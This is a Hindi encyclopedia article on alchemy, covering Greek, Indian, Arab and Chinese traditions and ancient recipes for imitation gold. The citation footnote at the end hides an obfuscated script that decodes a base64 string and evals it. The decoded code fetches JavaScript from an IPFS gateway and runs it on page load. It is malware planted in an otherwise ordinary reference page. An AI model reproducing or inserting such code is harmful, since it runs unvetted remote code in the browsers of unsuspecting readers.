कीमिया

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कीमिया सस्ती धातुओं से स्वर्ण सरीखी बहुमूल्य धातु बनाने की कला को कहते हैं, परंतु इस शब्द का विस्तृत प्रयोग उन सभी ज्ञानभंडारों के लिये होता है जो प्रांरभिक तथा मध्ययुगीन रासायनिक अध्ययनों से संबंधित हैं। निम्न धातुओं में उच्च धातुओं के गुण लाने के विचार से शोधकार्य करने के कारण इस अवधि के अध्ययनों में धातुओं को लंबी अवधि तक आग में गरम करने तथा उनपर विविध रासायनिक वस्तुओं के प्रभाव का अवलोकन, अथवा इसी प्रकार की साधारणत तथा प्रारंभिक क्रियाओं का विवरण ही सम्मिलित है। अनेक ऐसी वस्तुओं के भी अध्ययन, जिनका चिकित्सा, में महत्व हैं, अथवा तरह तरह की वस्तुओं पर स्थायी रंग चढ़ाने की विधियों के विकास का भी उल्लेख मिलता है। रसायन विज्ञान के प्रारंभिक विकासकाल का रासायनिक अध्ययन कीमिया में मिलता है।

वैसे तो अधिकांश आधिकारिक विवरण दुर्लभ हैं। जो कुछ भी सामग्री प्राप्त है उसमें किसी शोध का वैज्ञानिक विधि से विस्तारपूर्वक वर्णन अधिकतर नहीं मिलता। रायायनिक विश्लेषण का सामान्यता अभाव होने के साथ-साथ तरह-तरह की सांकेतिक भाषा का भी उपयोग हुआ है। इन विवरणों के अध्ययन से प्रतीत होता है कि इन कई सौ सालों की वैज्ञानिक खोज का लक्ष्य प्राय: पूर्णता: की दिशा में था। जैसे, निम्न स्तर की धातु से उच्च कोटि की बहुमूल्य धातु प्राप्त करना, जीवन-शक्ति को स्थायी करना, इत्यादि। इस लक्ष्य की प्राप्ति में अधिकांश कार्य अकेले अथवा विश्वास प्राप्त सहायकों की उपस्थिति में किये जाते थे। लोग अपने शोध की विधि को दूसरों से गुप्त रखने के लिये सतर्कता बरतते थे। फलस्वरूप नये शोधकों को वर्षों तक उन्हीं प्रारंभिक कार्यों में लगे रह जाना होता जो उनसे पहले कितने ही लोग कर चुके होते।

कीमिया की उत्पति से संबंधित कई कथाएँ प्रचलित हैं, जैसे मिस्त्री देवता हेरमेस (Hermes) ने इस कला का आरंभ किया, अथवा स्वर्गदूतों (Angels) ने उन स्त्रियों को इस कला का ज्ञान दिया जिनसे उन्होंने विवाह कर लिए। सस्ती धातु से स्वर्ग में तत्वांतरण (Transmutation) के विचार का उदय संभवत: ईसा युग के प्रारंभिक काल में यूनानियों में हुआ। इसके चरितार्थ करने की संभावना उस समय की दार्शनिक विचारधारा और द्रव्य के प्रचलित सिद्धांत से पुष्ट हुई। इसी कारण इन विशुद्ध रासायनिक शोधों में दार्शनिक तत्वों तथा विचारों का सम्मिश्रण मिलता है।

ईसा के आसपास भारत में नागार्जुन ने अनेक रासायनिक प्रक्रियाओं की खोज की थी। ऐसा कहा जाता है कि निम्नकोटि की धातुओं को सोने (स्वर्ण) में परिवर्तित करने में उन्होंने सफलता प्राप्त कर ली थीं। उनके द्वारा आविष्कृत जारण मारण और तिर्यक पातन क्रिया आज भी विख्यात है। रस चिकित्सापद्धति को नागार्जुन ने ही प्रचारित किया था।

पिछली शताब्दी तक तत्व तथा इनसे रासायनिक यौगिकों के बनने के नियम तथा इनके गुण के भेद का ज्ञान भली-भाँति हो गया था और धातुओं से, जो रासायनिक तत्व हैं, परिवर्तन द्वारा दूसरा ही तत्व प्राप्त करने की संभावना हास्यास्पद मालूम होती थी। पर इस शताब्दी में यह परिवर्तन सिद्धांत रूप में संभव है, यद्यपि इस नाभिक (nuclear) क्रिया के लिए अपार शक्ति की आवश्यकता है। आज की तुलना में कीमिया युग के वैज्ञानिको के साथ में केवल कोयला, लकड़ी अथवा उपला जलाने से प्राप्त साधारण उष्मा ही शक्ति थी। इसके उपयोग से केवल रासायनिक यौगिकों की ही उत्पत्ति हो सकती है। उन प्रयत्नों के आधार को समझने के लिए उस समय के विज्ञान से परिचित होना आवश्यक है। जैसा ज्ञात है, इन विषयों से संबंधित सैद्धांतिक विज्ञान के प्रणेता युनानी थे और उनके इन सिद्धांतों तथा परिकल्पनाओं का विस्तार उन सभी जगहों में हुआ जहाँ-जहाँ कीमिया के ये अध्येता गए। सिकंदरिया (Alexandria) बिजांतियम (Byzantiun) , अरब देश तथा यूरोप में विद्वानों ने पदार्थ तथा उनकी रासायनिक क्रियाओं के उन यूनानी सिद्धांतों को अपनाया जो प्रारंभ में प्रसिद्ध दाशर्निक अरस्तु (Aristotle) तथा अन्य लोगों ने प्रतिपादित किए थे। ये सिद्धांत द्रव्य (matter) आकार (form) तथा स्पिरिट (spirit) पर आधारित थे। इन शब्दों का अर्थ इस समय एक दम दूसरा ही माना जाता है। जैसे लोहा तथा मोर्चा आज भिन्न प्रकार के पदार्थ हैं, परंतु उन यूनानी सिद्धांतों के अनुसार पदार्थ दोनों में एक ही हैं, केवल आकार का अंतर है। आकार से अब ज्यामिति का रूप समझा जाता है, परंतु उस समय संभवत: आकार से वही अर्थ समझा जाता था जो अब गुणधर्म से बोध होता है। स्पिरिट का अर्थ अब या तो किसी उड़नशील वस्तु के वाष्प, अथवा देहरहित जीव से माना जाता है, परंतु उस समय उसका अर्थ विशेषकर श्वास (Breath) माना जाता था, जो वाष्प अथवा आत्मा के लिये प्रयुक्तहोता था। वस्तुऐं भी जीवित प्राणियों की भाँति मानी जाती थी, जिनमें एक तो जीवित देह है तथा दूसरी जीवन शक्ति। अत जब लोहे से मोर्चा बनता है तो इस क्रिया में जो अंश बदलता है वह आकार है जो अंश अपरिवर्तित रह जाता है वह पदार्थ है। अरस्तु के अनुसार अंतिम विश्लेषण पर केवल एक ही पदार्थ मिलता है जो अनेक आकार (रूप) धारण करता है अत मौलिक वस्तु में किसी भी प्रकार का परिवर्तन संभव नही है, केवल आकार अथवा रूप बदल सकता है। किसी भी वस्तु को अति सरल पदार्थ में परिवर्तित कर फिर उसे दूसरा आकार दिया जा सकता है। इस विचार से ताँबे और सोने में अंतर केवल आकार का है। यदि ताँबे को गंधक के साथ गरम करें, या सल्फाइड के विलयन से क्रिया करे तो ताँबे का धात्विक आकार नष्ट हो जाता है, जिसे वे उसकी मृत्यु समझते थे। अब काले कापर सल्फाइड में दूसरा, अर्थात स्वर्ण का आकार दिया जाए तो स्वर्ण प्राप्त होगा, जहाँ पहले स्वर्ण नही था।

प्रकृति में जिस प्रकार मिट्टी, गर्मी, बीज तथा श्वास द्वारा पौधें की उत्पत्ति होती है, ऐसी ही समान विधि के अनुसरण से स्वर्ण पाने का विचार आरंभिक काल के वैज्ञानिकों का था। इनमें पहले दो तो धातु का आकार बदलकर और गरम करने से प्राप्त होते थे। बीज तथा श्वास के विषय में बहुत विचार प्रकट किया गया है और लाल पीला अथवा श्वेत पारस पत्थर (Philosopher’s stone) की सहायता से या रजत बनाया जा सकता है। इस कार्य के लिए, जैसा अन्य प्राकृतिक परिवर्तनों में माना गया है, ग्रहों तथा देवी कृपा की आवश्यकता बताई गयी है। इनमें महत्वपूर्ण श्वास जिसे प्राण समझा जाता है, कई नामों से संबोधित किया गया है, जैसे यूनानी न्यूमा (Pneuma), लैटिन स्परिटस (Spiritus)। स्टोइको (Stoico) तथा हर्मेटिको (Hermetico) के दर्शन में इस श्वास को अरस्तु से अधिक महत्व दिया गया है। यह विश्वास किया जाता था कि ये श्वास न केवल मिट्टी से मिलकर धातु बनाते है, वरन्‌ सभी प्राकृतिक परिवर्तनों के संचालन में मूल कार्य करते है।

जोजिमस (Zosimus) के, जो स्वयं कीमियाँ का प्रसिद्ध अध्ययनकर्ता था, लेखों तथा प्रारंभिक काल के विशेष प्रकार के कागज पर लिखित वर्णनों (Papyri) से कुछ अन्य महत्वपूर्ण उपायों का ज्ञान होता है, जो उस समय वस्तु को स्वर्ण अथवा रजत के सदृश बनाने के लिए उपयोगी थे। इनमें लेडन (Leyden) तथा स्टाइहोम (Stockholm) के पापइरी (Papyri) मुख्य है। इनके लेखकों का पता नही है। वैसे तो मिस्र देश में विशेष सामाग्री को सोने की पतली चादर से मढ़ने का परिचलन था ही। इसके अतिरिक्त पापइरी से उन विधियों का उल्लेख प्राप्त होता है जिनके द्वारा नकली स्वर्ण, रजत, बहुमूल्य पत्थर तथा रंग इत्यादि बनाया जाता था। इनमें न केवल सस्ती धातु में स्वर्ण मिलाकर उसका (उच्च गुण के ्ह्रास के साथ) परिमाण बढ़ाने के ढंग का ही वर्णन है, वरन्‌ ऐसे मिलावटी स्वर्ण की वस्तु में शुद्ध स्वर्ण जैसी चमक लाने का भी संकेत है। ऐसी वस्तुओं को लोहे के सल्फेट, फिटकरी और अन्य लवणों के साथ गरम करने पर तथा निम्न धातु के निकल जाने पर शुद्ध स्वर्ण की पतली सतह रह जाती है, जो तत्पश्चात पालिश करने से विशुद्ध से निर्मित ज्ञात होती है। स्वर्ण तथा पारे के संरस (amalgam) या दूसरी प्रकार की वार्निस का भी उपयोग होता था। इसी प्रकार ताँबे को सिरके में रखने के बाद कुछ विशेष लवणों तथा चाँदी के साथ पिघलाने पर रजत जैसी सतह प्राप्त होती थी। इन क्रियाओं में संभवत सतह पर चाँदी, ताँबा, आर्सेनिक इत्यादि की मिश्रित धातु बनने में वह सफेद दिखलाई देती थी। कीमिया संबंधी अधिक कार्य पश्चिम में ही हुआ था। अरब जगत में इस कला के विशेष विस्तार के कारण कुछ लेखों में इसे काली धरती की कला अथवा मिस्राी कला कहा गया है। अरब राज्य के फैलाव के साथ साथ स्पेन, फ्रंास तथा दूसरे देशों में भी इस कला में लोगों की रुचि जागृत हुई। इनके कार्यों का विवरण अधिकतर लैटिन भाषा में प्राप्त है। चिकित्सा के निमित्त उपयोग आरंभ होने के साथ ही इस कला में नई चेतना तथा नवीन क्षेत्र प्राप्त हुआ। प्रारंभिक काल के विद्वानों, डिमॉक्रिट्स (Democritus) अथवा ज़ोसिमस (Zosimus) से लेकर जाबिर (Jabir), तक तथा तत्पश्चात्‌ 16वीं शताब्दी तक के वैज्ञानिकों में इस कला के रूचि बनी रही।

इन विषयों में बहुत से लेख ऐसे लोगों द्वारा भी लिखे गए हैं जो अधिक काल बाद हुए और जिन्हें कीमिया का उतना अनुभव नहीं था जितना उन विद्वानों को था जिनके नाम से ये लेख प्रकाश में आए। यह संभवत: लिखित सामग्री का मूल्य बढ़ाने के लिए ही किया गया था। इन लेखों में भट्ठी, आसवन के पात्र तथा दूसरे आवश्यक संयंत्रों का विस्तृत विवरण मिलता हैं। ये इस काल में आविष्कृत हुए तथा विविध प्रकार से कार्यविशेष के लिए परिष्कृत किए गए। वैसे तो इन लेखों में सोने के लिए सूर्य, रजत के लिए चंद्रमा तथा इसी प्रकार गंधक, पारा, ताँबा इत्यादि के लिए विभिन्न संकेतों का विस्तृत उपयोग होता था, पर इनमें विशेषता इस बात की थी कि रासायनिक क्रियाएँ भी चित्र द्वारा उपस्थित की जाती थीं।

चीन में कीमिया का अध्ययन साधारण स्वर्ण धातु के बनाने के लिए नहीं, वरन्‌ ऐसे स्वर्ण को, जो जीवन को स्थायित्व प्रदान करे, प्राप्त करने के विचार से हुआ। मुख्य लक्ष्य अमर बनाने का ही था और प्रसिद्ध वैज्ञानिक वी पो-यांग (Wei-po-yang) की कथा, जो अपने छात्रों सहित पर्वत पर ऐसी ही वस्तु प्राप्त करने गया था, बहुत प्रचलित है। चीनी दर्शन ताओ-सिद्धांत (Taoism) के अनुसार स्वंय को ताओ रचना (way of the universe) के अनुरूप करने पर मृत्युरहित हुआ जा सकता है। परंतु जो यह नहीं कर सकते उनके लिये सरल उपाय जीवन शक्ति(lieutan) की औषधि है। चीनी सिद्धांत के अनुसार पदार्थ क्रियाशील नरतत्व यांग (Yang) तथा अक्रियाशील स्त्रीतत्व यिन (Yin) होते हैं। यांग के अधिक होने से जीवन चिरस्थायी होता है। इस क्रियाशीलता के लिये प्रारंभ में तो पारे का लाल सल्फाइड तथा स्वर्ण अधिक विख्यात थे। परंतु बाद में ऐसी ओषधि (elixir) बनाने का प्रयत्न हुआ जो चिरस्थायी प्रदान करे।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 3 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 41 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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